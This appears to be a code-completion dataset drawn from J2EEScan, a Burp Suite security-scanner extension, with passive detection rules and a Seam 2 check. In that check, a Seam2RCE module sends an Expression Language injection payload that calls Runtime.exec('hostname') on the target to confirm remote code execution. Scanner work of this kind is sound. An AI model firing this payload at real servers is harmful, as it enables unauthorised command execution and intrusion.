// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List; | package burp.j2ee.passive;
/**
* Improved detection for session identifiers in URL
*
* The passive rule checks the usage of path parameters on common J2EE platforms
*
* References:
* - CWE-598
* - http://www.jtmelton.com/2011/02/02/beware-the-http-path-parameter/
* - https://doriantaylor.com/policy/http-url-path-parameter-syntax
*
*/
public class SessionIDInURL implements PassiveRule {
private static final List<String> SESSIONIDs = new ArrayList<>(Arrays.asList(";jsessionid"));
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
IExtensionHelpers helpers = callbacks.getHelpers();
URL curURL = reqInfo.getUrl();
/**
* session identifiers in URL (path parameter)
* Improved detection for session identifiers
*/
for (String identifier : SESSIONIDs) {
if (curURL.toString().contains(identifier)) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/passive/SessionIDInURL.java
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
package burp.j2ee.passive;
/**
* Improved detection for session identifiers in URL
*
* The passive rule checks the usage of path parameters on common J2EE platforms
*
* References:
* - CWE-598
* - http://www.jtmelton.com/2011/02/02/beware-the-http-path-parameter/
* - https://doriantaylor.com/policy/http-url-path-parameter-syntax
*
*/
public class SessionIDInURL implements PassiveRule {
private static final List<String> SESSIONIDs = new ArrayList<>(Arrays.asList(";jsessionid"));
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
IExtensionHelpers helpers = callbacks.getHelpers();
URL curURL = reqInfo.getUrl();
/**
* session identifiers in URL (path parameter)
* Improved detection for session identifiers
*/
for (String identifier : SESSIONIDs) {
if (curURL.toString().contains(identifier)) { | callbacks.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/Seam2RCE.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
byte[] rawRequest = baseRequestResponse.getRequest();
// ?actionOutcome=
if (curURL.getPath().contains(".seam")) {
// Skip already tested resources
//if (hs.contains(curURL.getPath())) {
// return issues;
//}
hs.add(curURL.getPath());
// First test wihtout getDeclaredMethods indexes
byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
);
IRequestInfo rawSimpleRequestSeamInfo = helpers.analyzeRequest(rawSimpleRequestSeam);
List<String> headersSimpleRequestSeam = rawSimpleRequestSeamInfo.getHeaders();
byte messageSimple[] = helpers.buildHttpMessage(headersSimpleRequestSeam, Arrays.copyOfRange(rawSimpleRequestSeam, rawSimpleRequestSeamInfo.getBodyOffset(), rawSimpleRequestSeam.length));
IHttpRequestResponse respSimple = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), messageSimple);
// look for matches of our active check grep string in the response body
byte[] httpResponseSimple = respSimple.getResponse(); | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/Seam2RCE.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
IRequestInfo reqInfo = helpers.analyzeRequest(baseRequestResponse);
URL curURL = reqInfo.getUrl();
byte[] rawRequest = baseRequestResponse.getRequest();
// ?actionOutcome=
if (curURL.getPath().contains(".seam")) {
// Skip already tested resources
//if (hs.contains(curURL.getPath())) {
// return issues;
//}
hs.add(curURL.getPath());
// First test wihtout getDeclaredMethods indexes
byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
);
IRequestInfo rawSimpleRequestSeamInfo = helpers.analyzeRequest(rawSimpleRequestSeam);
List<String> headersSimpleRequestSeam = rawSimpleRequestSeamInfo.getHeaders();
byte messageSimple[] = helpers.buildHttpMessage(headersSimpleRequestSeam, Arrays.copyOfRange(rawSimpleRequestSeam, rawSimpleRequestSeamInfo.getBodyOffset(), rawSimpleRequestSeam.length));
IHttpRequestResponse respSimple = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), messageSimple);
// look for matches of our active check grep string in the response body
byte[] httpResponseSimple = respSimple.getResponse(); | List<int[]> matchesSimple_L = getMatches(httpResponseSimple, GREP_STRING_L, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/Seam2RCE.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List; | URL curURL = reqInfo.getUrl();
byte[] rawRequest = baseRequestResponse.getRequest();
// ?actionOutcome=
if (curURL.getPath().contains(".seam")) {
// Skip already tested resources
//if (hs.contains(curURL.getPath())) {
// return issues;
//}
hs.add(curURL.getPath());
// First test wihtout getDeclaredMethods indexes
byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
);
IRequestInfo rawSimpleRequestSeamInfo = helpers.analyzeRequest(rawSimpleRequestSeam);
List<String> headersSimpleRequestSeam = rawSimpleRequestSeamInfo.getHeaders();
byte messageSimple[] = helpers.buildHttpMessage(headersSimpleRequestSeam, Arrays.copyOfRange(rawSimpleRequestSeam, rawSimpleRequestSeamInfo.getBodyOffset(), rawSimpleRequestSeam.length));
IHttpRequestResponse respSimple = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), messageSimple);
// look for matches of our active check grep string in the response body
byte[] httpResponseSimple = respSimple.getResponse();
List<int[]> matchesSimple_L = getMatches(httpResponseSimple, GREP_STRING_L, helpers);
List<int[]> matchesSimple_W = getMatches(httpResponseSimple, GREP_STRING_W, helpers);
if (matchesSimple_L.size() > 0 || matchesSimple_W.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/Seam2RCE.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IParameter;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.LinkedHashSet;
import java.util.List;
URL curURL = reqInfo.getUrl();
byte[] rawRequest = baseRequestResponse.getRequest();
// ?actionOutcome=
if (curURL.getPath().contains(".seam")) {
// Skip already tested resources
//if (hs.contains(curURL.getPath())) {
// return issues;
//}
hs.add(curURL.getPath());
// First test wihtout getDeclaredMethods indexes
byte[] rawSimpleRequestSeam = helpers.addParameter(rawRequest,
helpers.buildParameter("actionOutcome",
"/pwd.xhtml?user%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('java.lang.Runtime')).exec('hostname')}", IParameter.PARAM_URL)
);
IRequestInfo rawSimpleRequestSeamInfo = helpers.analyzeRequest(rawSimpleRequestSeam);
List<String> headersSimpleRequestSeam = rawSimpleRequestSeamInfo.getHeaders();
byte messageSimple[] = helpers.buildHttpMessage(headersSimpleRequestSeam, Arrays.copyOfRange(rawSimpleRequestSeam, rawSimpleRequestSeamInfo.getBodyOffset(), rawSimpleRequestSeam.length));
IHttpRequestResponse respSimple = callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), messageSimple);
// look for matches of our active check grep string in the response body
byte[] httpResponseSimple = respSimple.getResponse();
List<int[]> matchesSimple_L = getMatches(httpResponseSimple, GREP_STRING_L, helpers);
List<int[]> matchesSimple_W = getMatches(httpResponseSimple, GREP_STRING_W, helpers);
if (matchesSimple_L.size() > 0 || matchesSimple_W.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/passive/SqlQueryRule.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | package burp.j2ee.passive;
public class SqlQueryRule implements PassiveRule {
private static final List<Pattern> SQL_QUERIES_RE = new ArrayList();
static {
SQL_QUERIES_RE.add(Pattern.compile("select ", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
SQL_QUERIES_RE.add(Pattern.compile("IS NOT NULL", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
IExtensionHelpers helpers = callbacks.getHelpers();
/**
* SQL statements in URL
*
* Improved detection for SQL statements in HTTP POST requests.
*/
if (reqBody != null) {
// check the pattern on response reqBody
for (Pattern sqlQueryRule : SQL_QUERIES_RE) {
Matcher matcher = sqlQueryRule.matcher(helpers.urlDecode(reqBody));
if (matcher.find()) { | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/passive/SqlQueryRule.java
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
package burp.j2ee.passive;
public class SqlQueryRule implements PassiveRule {
private static final List<Pattern> SQL_QUERIES_RE = new ArrayList();
static {
SQL_QUERIES_RE.add(Pattern.compile("select ", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
SQL_QUERIES_RE.add(Pattern.compile("IS NOT NULL", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
IExtensionHelpers helpers = callbacks.getHelpers();
/**
* SQL statements in URL
*
* Improved detection for SQL statements in HTTP POST requests.
*/
if (reqBody != null) {
// check the pattern on response reqBody
for (Pattern sqlQueryRule : SQL_QUERIES_RE) {
Matcher matcher = sqlQueryRule.matcher(helpers.urlDecode(reqBody));
if (matcher.find()) { | callbacks.addScanIssue(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/passive/JettyRule.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | package burp.j2ee.passive;
public class JettyRule implements PassiveRule {
private static final Pattern JETTY_PATTERN = Pattern.compile("><small>Powered by Jetty", Pattern.DOTALL | Pattern.MULTILINE);
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader) {
IExtensionHelpers helpers = callbacks.getHelpers();
/**
* Detect Jetty
*/
if (respBody != null && contentTypeResponse != null
&& (contentTypeResponse.contains("text/html") || (contentTypeResponse.contains("text/plain")))) {
Matcher matcher = JETTY_PATTERN.matcher(respBody);
if (matcher.find()) {
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/passive/JettyRule.java
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
package burp.j2ee.passive;
public class JettyRule implements PassiveRule {
